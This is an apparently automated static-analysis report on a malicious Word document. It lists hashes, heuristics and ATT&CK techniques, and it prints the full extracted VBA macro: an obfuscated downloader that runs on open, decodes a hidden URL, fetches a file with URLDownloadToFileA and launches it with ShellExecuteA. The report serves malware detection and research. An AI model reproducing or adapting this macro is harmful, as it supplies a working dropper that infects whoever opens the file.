Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 62b8f93362731285…

MALICIOUS

Office (OOXML)

29.9 KB Created: 2015-03-26 13:45:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-05-31
MD5: 927a557346820773195cdc6888fcb5ca SHA-1: 16d5b88040bf01228417bbcaea3a9d4d8e0ff205 SHA-256: 62b8f933627312850c674d7188141fede242236962d3e97cee067ac6f13f2b2c
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with a Document_Open subroutine that triggers the execution of other macros. These macros utilize the URLDownloadToFileA API to download a file from a remote location. The presence of a Document_Open macro and the use of URLDownloadToFileA are strong indicators of a downloader malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Alias _
"URLDownloadToFileA" _
(ByVal TuigZspLhFLHTWmHI As Long, ByVal RcWAPiCVPFluvtyjcjNbZ As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    zgmFN = _
Environ$(StrReverse(XOREncryption(" !P3\46 ", "qU1C9YYzf"))) _
& StrReverse(XOREncryption("8", "docLQdtYn")) & qsBYGk
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2209 bytes
SHA-256: 94c0d29d5fc6e21e1516f581ea277d603f6c3e869a32e36040fbb3d1033a684b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function ChangeText Lib _
"shell32.dll" _
Alias _
"ShellExecuteA" (ByVal LUsnQSzSYhVBKLJOmszerq As _
Long, ByVal GKMEetlVDFZCHVRANnoOXk As String, _
ByVal LgKjBbBMGYHfOYfbnDSZcl As String, ByVal IDhjPVpxmRNNMRCJQhHG As String, ByVal WMPH As String, _
ByVal gJomTIdTJXiQQEEfoAdwczRe As Long) As Long

Private Declare PtrSafe Function okYtkboyihUGiEQfMeP _
Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal TuigZspLhFLHTWmHI As Long, ByVal RcWAPiCVPFluvtyjcjNbZ As String, _
    ByVal qtwoNcUFnpJmrEP As String, _
    ByVal kxlWyUTvdugk As Long, ByVal KlwqIFcyWOKVnCX As Long) _
    As Long



Private Sub Document_Open()


Dim i As Integer
Dim z As Integer
Dim h As Integer
i = 405
z = 200
h = i + z
If h = 605 Then

DjeediSLSxXJZ
End If

End Sub





Sub ROIb()
Dim XvfpvrDTU As String, qsBYGk As String, zgmFN As String
qsBYGk = StrReverse(XOREncryption("/  TU ';  -' ", "jLFz1mBNp"))
zgmFN = _
Environ$(StrReverse(XOREncryption(" !P3\46 ", "qU1C9YYzf"))) _
& StrReverse(XOREncryption("8", "docLQdtYn")) & qsBYGk

XvfpvrDTU = StrReverse(XOREncryption("36 j  ,* yzXu[ZumFf|E}MZmlH&: ,", "VNkDukBCr"))

hUGiEQfMePTuigZsp XvfpvrDTU, zgmFN
End Sub

Sub DjeediSLSxXJZ()
Dim dgX As Integer
Dim wZEokYtkboyi As String
dgX = 3
wZEokYtkboyi = StrReverse(XOREncryption(" P6 1! ", "M2xmRKmnD"))
ROIb
End Sub

Sub hUGiEQfMePTuigZsp(ByVal LhFLHTWmHIRcWAPiCVPFl, b As String)

okYtkboyihUGiEQfMeP 0, LhFLHTWmHIRcWAPiCVPFl, _
b, 0, 0
ChangeText 0, StrReverse(XOREncryption(" VEZ", "v355anlSp")), _
b, "", vbNullString, vbNormalFocus

End Sub
Public Function XOREncryption(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
    For i = 1 To Len(sStr)
        XOREncryption = XOREncryption & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
    Next i
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: a54db735e00e459d94e24859976e8ebcadaffb0fee92c9c78d88d2d7446223e6
Detection
ClamAV: Doc.Downloader.Sload-6961205-0
Obfuscation or payload: unlikely

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